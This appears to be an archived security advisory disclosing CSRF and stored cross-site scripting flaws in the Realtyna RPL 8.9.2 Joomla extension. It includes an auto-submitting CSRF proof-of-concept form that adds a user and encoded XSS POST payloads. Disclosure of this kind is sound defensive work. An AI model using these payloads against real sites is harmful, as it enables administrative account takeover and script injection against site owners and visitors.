Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities

2015.10.23
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities Vendor: Realtyna LLC Product web page: https://www.realtyna.com Affected version: 8.9.2 Summary: Realtyna CRM (Client Relationship Management) Add-on for RPL is a Real Estate CRM specially designed and developed based on business process and models required by Real Estate Agents/Brokers. Realtyna CRM intends to increase the Conversion Ratio of the website Visitors to Leads and then Leads to Clients. Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache PHP/5.4.38 MySQL/5.5.42-cll Vulnerability discovered by Bikramaditya 'PhoenixX' Guha Advisory ID: ZSL-2015-5271 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5271.php Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog CVE ID: CVE-2015-7715 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7715 05.10.2015 -- 1. CSRF: <html lang="en"> <head> <title>CSRF POC</title> </head> <body> <form action="http://localhost/administrator/index.php" id="formid" method="post"> <input type="hidden" name="option" value="com_rpl" /> <input type="hidden" name="view" value="addon_membership_members" /> <input type="hidden" name="format" value="ajax" /> <input type="hidden" name="function" value="add_user" /> <input type="hidden" name="id" value="85" /> </form> <script> document.getElementById('formid').submit(); </script> </body> </html> 2. Cross Site Scripting (Stored): http://localhost/administrator/index.php POST parameters: new_location_en_gb, new_location_fr_fr Payloads: option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=%22onmousemove%3D%22alert(1)%22%22&new_location_fr_fr=&level=1&parent=&function=add_location option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=&new_location_fr_fr=%22onmousemove%3D%22alert(2)%22%22&level=1&parent=&function=add_location

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5271.php


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top